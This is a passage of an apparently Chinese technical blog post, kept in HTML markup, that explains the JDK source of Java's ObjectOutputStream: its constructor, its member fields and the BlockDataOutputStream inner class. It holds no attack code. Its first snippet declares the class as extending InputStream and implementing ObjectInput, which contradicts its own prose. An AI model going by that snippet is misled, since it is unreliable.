mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">首先来看</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">是一个实现了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutput</code><span md-inline="plain" style="box-sizing: border-box;">接口的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">OutputStream</code><span md-inline="plain" style="box-sizing: border-box;">的子类，其类定义如下：</span></span></span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">ObjectOutputStream</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">InputStream</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">ObjectInput</span>, <span class="code-snippet__title">ObjectStreamConstants</span></span>{</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span md-inline="plain" style="box-sizing: border-box;">当我们实例化</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">并传入参数后，首先调用的是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">的构造方法。</span></span></span></p><p><br/><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code></span><span md-inline="plain" style="box-sizing: border-box;">构造方法有两个，一个是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">public</code><span md-inline="plain" style="box-sizing: border-box;">的单参数构造函数，一个是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">protected</code><span md-inline="plain" style="box-sizing: border-box;">的无参构造函数，上述代码中我们传入了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">new FileOutputStream(&#34;panda.out&#34;)</code><span md-inline="plain" style="box-sizing: border-box;">为参数，因此调用的是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">public</code><span md-inline="plain" style="box-sizing: border-box;">的单参数构造函，该函数内容如下：</span></span></span></span></span></span></p><p><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span></span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        * 创建写入指定输出流的ObjectOutputStream。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        * 此构造函数将序列化流头写入底层流；</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        * 调用者可能希望立即刷新流，以确保接收ObjectInputStreams的构造函数在读取头时不会阻塞。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">        * 如果安装了安全管理器，则当重写ObjectOutputStream.putFields或ObjectOutputStream.writeUnshared方法的子类的构造函数直接或间接调用时，此构造函数将检查“enableSublassimplementation”SerializablePermission。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">ObjectOutputStream</span>(<span class="code-snippet__params">OutputStream <span class="code-snippet__keyword">out</span></span>) throws IOException</span> {</span></code><code><span class="code-snippet_outer">        verifySubclass();</span></code><code><span class="code-snippet_outer">        bout = <span class="code-snippet__keyword">new</span> BlockDataOutputStream(<span class="code-snippet__keyword">out</span>);</span></code><code><span class="code-snippet_outer">        handles = <span class="code-snippet__keyword">new</span> HandleTable(<span class="code-snippet__number">10</span>, (<span class="code-snippet__keyword">float</span>) <span class="code-snippet__number">3.00</span>);</span></code><code><span class="code-snippet_outer">        subs = <span class="code-snippet__keyword">new</span> ReplaceTable(<span class="code-snippet__number">10</span>, (<span class="code-snippet__keyword">float</span>) <span class="code-snippet__number">3.00</span>);</span></code><code><span class="code-snippet_outer">        enableOverride = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">        writeStreamHeader();</span></code><code><span class="code-snippet_outer">        bout.setBlockDataMode(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (extendedDebugInfo) {</span></code><code><span class="code-snippet_outer">            debugInfoStack = <span class="code-snippet__keyword">new</span> DebugTraceInfoStack();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            debugInfoStack = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><span md-inline="plain" style="box-sizing: border-box;">在该构造函数的开始，首先会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">verifySubclass</code><span md-inline="plain" style="box-sizing: border-box;">方法处理缓存信息，要求该类(或子类)进行验证——验证是否可以在不违反安全约束的情况下构造此实例。</span></span><br/></p><p><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><p><span md-inline="plain" style="box-sizing: border-box;">然后初始化</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code><span md-inline="plain" style="box-sizing: border-box;">等，实例化一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">BlockDataOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">；</span></span></span></p><p><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></p><p><strong style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;"><span md-inline="plain" style="box-sizing: border-box;">思考：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code></span><span md-inline="plain" style="box-sizing: border-box;">等是什么？</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">BlockDataOutputStream</code></span><span md-inline="plain" style="box-sizing: border-box;">是什么？为什么要在这里初始化</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code></span><span md-inline="plain" style="box-sizing: border-box;">成员属性？</span></strong></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">1、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code><span md-inline="plain" style="box-sizing: border-box;">等是什么？</span></span></p><p><br/></p><p><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code><span md-inline="plain" style="box-sizing: border-box;">是主类中的成员属性，除了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code><span md-inline="plain" style="box-sizing: border-box;">还有几个成员属性，比如</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">：是一个哈希表，表示从对象到引用的映射；</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">subs</code><span md-inline="plain" style="box-sizing: border-box;">：同样是一个哈希表，表示从对象到“替换对象”的一个映射关系；</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableOverride</code><span md-inline="plain" style="box-sizing: border-box;">：布尔型常量，用于决定在序列化Java对象时选用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObjectOverride</code><span md-inline="plain" style="box-sizing: border-box;">方法还是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObject</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></span></span></span></span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__comment">/** filter stream for handling block data conversion */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> BlockDataOutputStream bout;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/** obj -&gt; wire handle map */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> HandleTable handles;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/** obj -&gt; replacement obj map */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> ReplaceTable subs;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/** if true, invoke writeObjectOverride() instead of writeObject() */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> boolean enableOverride;</span></code></pre></section><p><span md-inline="plain" style="box-sizing: border-box;">我们可以把</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code><span md-inline="plain" style="box-sizing: border-box;"> 可以理解为一个 “容器”，它用于处理数据块转换的过滤流。</span></span></p><p><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><p><span md-inline="plain" style="box-sizing: border-box;">2、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">BlockDataOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">是什么？</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></p><p><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><p><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">BlockDataOutputStream</code></span><span md-inline="plain" style="box-sizing: border-box;">是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">的一个重要内部类，这个类负责将缓冲区中的数据写入到字节流。该类部分内容如下：</span></span></span></span></p><p><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__comment">/*</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">缓冲输出流有两种模式：在默认模式下，以与DataOutputStream相同的格式输出数据；在“块数据”模式下，输出由块数据标记括起来的数据（有关详细信息，请参阅对象序列化规范）。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">*/</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">BlockDataOutputStream</span> <span class="code-snippet__title">extends</span> <span class="code-snippet__title">OutputStream</span> <span class="code-snippet__title">implements</span> <span class="code-snippet__title">DataOutput</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/** maximum data block length */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__keyword">int</span> MAX_BLOCK_SIZE = <span class="code-snippet__number">1024</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/** maximum data block header length */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__keyword">int</span> MAX_HEADER_SIZE = <span class="code-snippet__number">5</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/** (tunable) length of char buffer (for writing strings) */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__keyword">int</span> CHAR_BUF_SIZE = <span class="code-snippet__number">256</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/** buffer for writing general/block data */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> final <span class="code-snippet__keyword">byte</span>[] buf = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[MAX_BLOCK_SIZE];</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/** buffer for writing block data headers */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> final <span class="code-snippet__keyword">byte</span>[] hbuf = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[MAX_HEADER_SIZE];</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/** char buffer for fast string writes */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> final <span class="code-snippet__keyword">char</span>[] cbuf = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">char</span>[CHAR_BUF_SIZE];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/** block data mode */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> boolean blkmode = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/** current offset into buf */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">int</span> pos = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/** underlying output stream */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> final OutputStream <span class="code-snippet__keyword">out</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/** loopback stream (for data writes that span data blocks) */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> final DataOutputStream dout;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">         * Creates new BlockDataOutputStream on top of given underlying stream.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">         * Block data mode is turned off by default.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">         */</span></span></code><code><span class="code-snippet_outer">        BlockDataOutputStream(OutputStream <span class="code-snippet__keyword">out</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.<span class="code-snippet__keyword">out</span> = <span class="code-snippet__keyword">out</span>;</span></code><code><span class="code-snippet_outer">            dout = <span class="code-snippet__keyword">new</span> DataOutputStream(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span><span md-inline="plain" style="box-sizing: border-box;">可以看到，这个类的定义和主类(</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">)的定义有些相似，唯独不同的就是实现的接口。</span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">其实可以理解成</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">BlockDataOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">类是封装后的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">DataOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">类，并且提供了一些缓冲区及成员属性。</span></span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">3、为什么要在这里初始化</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code><span md-inline="plain" style="box-sizing: border-box;">成员属性？</span></span></p><p><br/></p><p><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObject0</code><span md-inline="plain" style="box-sizing: border-box;">方法的代码中，会主要使用到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code><span md-inline="plain" style="box-sizing: border-box;">对象的方法</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 